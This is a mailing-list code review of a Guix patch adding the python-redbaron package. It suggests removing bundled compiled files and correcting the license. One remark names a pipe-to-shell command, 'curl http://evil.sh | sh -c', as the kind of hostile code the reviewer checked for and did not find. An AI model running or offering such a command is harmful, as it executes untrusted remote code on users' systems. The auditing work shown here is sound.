Subject: Re: [bug#49123] [PATCH 22/24] gnu: Add python-redbaron.

From: Maxime Devos <[email-masked]>
Date: Thu, 15 Jul 2021 12:13:09 +0200

slg via Guix-patches via schreef op za 19-06-2021 om 22:07 [-0300]:+
> +(define-public python-redbaron
> +  (package
> +    (name "python-redbaron")
> +    (version "0.9.2")
> +    (source
> +     (origin
> +       (method url-fetch)
> +       (uri (pypi-uri "redbaron" version))
> +       (sha256
> +        (base32
> +         "0bqkq0wn20cc3qrcd1ifq74p4m570j345bkq4axl08kbr8whfba7"))))
> 

"redbaron-0.9.2.tar.gz" contains some compiled code and built documentation.

Could you add (untested)

  (snippet
    #~(begin
        (for-each delete-file
                  (find-files "." (lambda (x) (string-suffix? ".pyc" x))))
        (delete-file-recursively "docs/_build"))))      

or something like that to remove it?

> +    (license license:lgpl3)))
The license is LGPLv3+, according to 'setup.py':

[...]
setup(name='redbaron',
[...]
      license='lgplv3+',

Ideally, the Sphinx documentation would be installed as well,
but there isn't good support for that yet in Guix.

Otherwise, the package definition LGTM and the source code of redbaron
doesn't seem to have an equivalent of "curl http://evil.sh | sh -c".
(Except possibly the synopsis and description. I'd need to check what
the guidelines are.)

Greetings,
Maxime.